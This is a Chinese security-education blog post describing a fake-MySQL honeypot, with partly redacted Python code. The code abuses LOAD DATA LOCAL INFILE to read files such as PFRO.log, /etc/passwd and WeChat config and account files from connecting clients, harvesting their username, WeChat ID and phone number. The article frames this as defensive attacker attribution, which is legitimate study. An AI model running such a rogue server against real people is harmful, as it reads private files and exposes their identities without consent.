千锋教育-做有情怀、有良心、有品质的职业教育机构

当前位置:首页  >  关于学院  >  技术干货  >  网络安全技术干货  >  正文

蜜罐获取攻击者微信ID及手机号

来源:千锋教育
发布时间:2022-09-27 18:18:22
分享

  前言

  之前在打CTF的时候,多次遇到了这个漏洞。

  攻防演练期间,研究了一下蜜罐的骚操作,比如获取百度ID、CSDN账号、微信ID等等,对攻击者进行攻击者画像。

  学习了一下原理,然后做了一些改进,利用MySQL的漏洞,获取攻击者手机号。

  本系统代码非完全原创,部分代码参照

  https://github.com/qigpig/MysqlHoneypot。

  关于MySQL任意文件读取漏洞,网上很多大佬写了很详细的分析文章,本文不再复述。

  同时,如果想复现漏洞,也可选取github上其他更加简洁的单文件server代码。

  漏洞相关

  1、漏洞简介

  Fake MySQL顾名思义,就是虚假的MySQL。

  其实这个名词是我个人习惯的称呼,关于完整的定义目前在网上没有一个公认的说法。

  以下均为个人理解,如有问题,欢迎指正。

  Fake MySQL是基于构造一个伪装的MySQL服务器,通过命令或诱导来使受害者连接此服务器,从而利用MySQL的相关漏洞进行文件读取,或者反序列化利用。

  本文不涉及反序列化的利用,可以简单理解为一个MySQL蜜罐,利用漏洞为LOAD DATA LOCAL INFILE的任意文件读取。

  以上就是本文全部废话了,话不多说,直接进入正题。

  2、漏洞复现及利用

  文字废话太多,直接上图吧。

图片 1

  如图所示当我在服务器上运行payload代码,并设置我想要读取的文件,即可进入监听模式。

  当攻击者连接我的3306端口,即可成功读取到攻击者电脑上的对应文件。

  Linux同理,可以读取/etc/passwd等文件。

  那么,可以读文件,进一步怎样拓展呢?

  根据大佬的文章,我们可以通过读取C:\Windows\PFRO.log文件来获取攻击者的用户名,根据用户名读取相应文件夹中的微信配置文件,进而获取微信ID。

  前提是微信文件保存路径为默认。

  获取用户名,如图所示

图片 2

  但这种方式的缺点是,只能单文件读取,每次需要重新设置文件名,不能实现循环读取。

  于是,根据https://github.com/qigpig/MysqlHoneypot中的部分代码,进行进一步的完善和修改,就有了下面的内容

  工具相关

  1、代码相关

  开门见山,本系统代码乍一看很完美,但以普遍理性而论,仅适用于读取windows系统的文件。

  先看核心代码

  先看核心代码

  def mysql_get_file_content(filename,conn,address):

  logpath = os.path.abspath('.') + "/log/" + address[0]

  if not os.path.exists(logpath):

  os.makedirs(logpath)

  conn.sendall("xxx")

  try:

  conn.recv(1024000)

  except Exception as e:

  print(e)

  try:

  conn.sendall("xx")

  res1 = conn.recv(1024000)

  # SHOW VARIABLES

  if 'SHOW VARIABLES' in res1:

  conn.sendall("xxx")

  res2 = conn.recv(9999)

  if 'SHOW WARNINGS' in res2:

  conn.sendall("xxx")

  res3 = conn.recv(9999)

  if 'SHOW COLLATION' in res3:

  conn.sendall("xxx")

  res4 = conn.recv(9999)

  if 'SET NAMES utf8' in res4:

  conn.sendall("xxx")

  res5 = conn.recv(9999)

  if 'SET character_set_results=NULL' in res5:

  conn.sendall("xxx")

  conn.close()

  else:

  conn.close()

  else:

  conn.close()

  else:

  conn.close()

  else:

  try:

  wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename

  conn.sendall(wantfile)

  content=''

  while True:

  data = conn.recv(1024)

  print len(data)

  content += data

  if len(data) < 1024:

  print 'ok'

  break

  conn.close()

  item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())

  if len(content) > 6:

  with open(item, "w") as f:

  f.write(content)

  f.close()

  return (True,content)

  else:

  return (False,content)

  except Exception as e:

  print (e)

  except Exception as e:

  print (e)

  这段代码主要有两个作用:

  判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。

  如果是直接连接,去读取设定好的文件,并写入本地保存。

  PS:为了防止读取文件内容不完整,加入了while循环。

  while True:

  conn, address = sv.accept()

  first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

  global files1

  global username

  global wx_id

  file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)

  res,content = mysql_get_file_content(file,conn,address)

  files1.append(files1[0])

  files1.remove(files1[0])

  if res:

  if 'PFRO' in file:

  username = get_username(content)

  s= "xx" % (xx)

  cursor.execute(s)

  data = cursor.fetchall()

  if len(data)==0:

  s = "XX" % (xx)

  cursor.execute(s)

  db.commit()

  print 'success:'+ file

  insert_file(file,address,username)

  elif 'config.data'in file:

  content = content

  wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]

  sql = "xxx" % (xxx)

  cursor.execute(sql)

  db.commit()

  wx_id=wxid

  img = qrcode.make('weixin://contacts/profile/'+wxid)

  img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')

  print 'success:'+ file

  insert_file(file,address,username)

  elif 'AccInfo' in file:

  content = content

  phone = re.findall(r'[0-9]{11}', content)[-1]

  sql = "xxx" % (xxx)

  cursor.execute(sql)

  db.commit()

  print 'success:'+ file

  insert_file(file,address,username)

  else:

  files1=files

  username='Administrator'

  这段代码就是从文件内容获取信息并保存到数据库:

  从C:/Windows/PFRO.log中读取用户名

  从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取wx_id

  从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号

  根据wx_id可生成微信二维码,可添加好友

  根据实际测试,就算关掉了所有好友申请条件,仍可通过此二维码发起好友申请。

  2、效果图

  首先,docker启动。

图片 3

  本来想在80端口结合jsonp获取一下百度id以及其他信息

  但无奈公开的接口都失效了,80端口只能作为一个诱饵了

  下一步会研究一些如何获取百度等论坛的账号信息。

图片 4

  访问5000端口。

图片 5

  登录后

图片 6

  具体效果

图片 7

  目前实现了获取微信和手机号,对于溯源来说,已经足够用了。

  写在最后

  红队大佬可参考http://www.python88.com/topic/105651进行蜜罐甄别。

  蓝队大佬不建议将本系统作为正式蜜罐部署,仅供参考和玩耍。

声明:本站稿件版权均属千锋教育所有,未经许可不得擅自转载。

相关推荐

  • js调用shell脚本 在JavaScript中调用Shell脚本可以通过Node.js提供的`child_process`模块来实现。`child_process`模块允许在Node.js环境中执行外部命令,并与其进行交互
  • 数据库及数据安全知识点集锦 1.数据安全:保密性、完整性、可用性、可控性、可审查性;2.数据库安全:保护数据库及相关文件和数据资源,防止不合法使用造成的数据泄露更改或破坏。
  • 防火墙技术知识点集锦 1.防火墙是一个由软件和硬件设备组合而成,在内部网和外部网之间、专用网与公共网之间构造的保护屏障,使内部网与外部网建立一个安全网关,保护内部网免受非法用户的侵入
  • 计算机及手机病毒防范详解 1.计算机病毒是编制或在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序源码.
  • 黑客攻防与检测防御知识点集合 1.黑客主要攻击途径:攻击漏洞(即系统缺陷,是在软件、硬件、协议的具体实现或系统安全战略上存在的缺陷);入侵通道:通过网络端口(网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O缓冲区、通信传输与服务的接口);管理漏洞
  • 网络安全体系管理知识点集合 1.OSI网络安全体系结构:网络安全机制、网络安全服务(鉴别服务、访问控制服务、数据保密性服务、数据完整性服务、可审查性服务)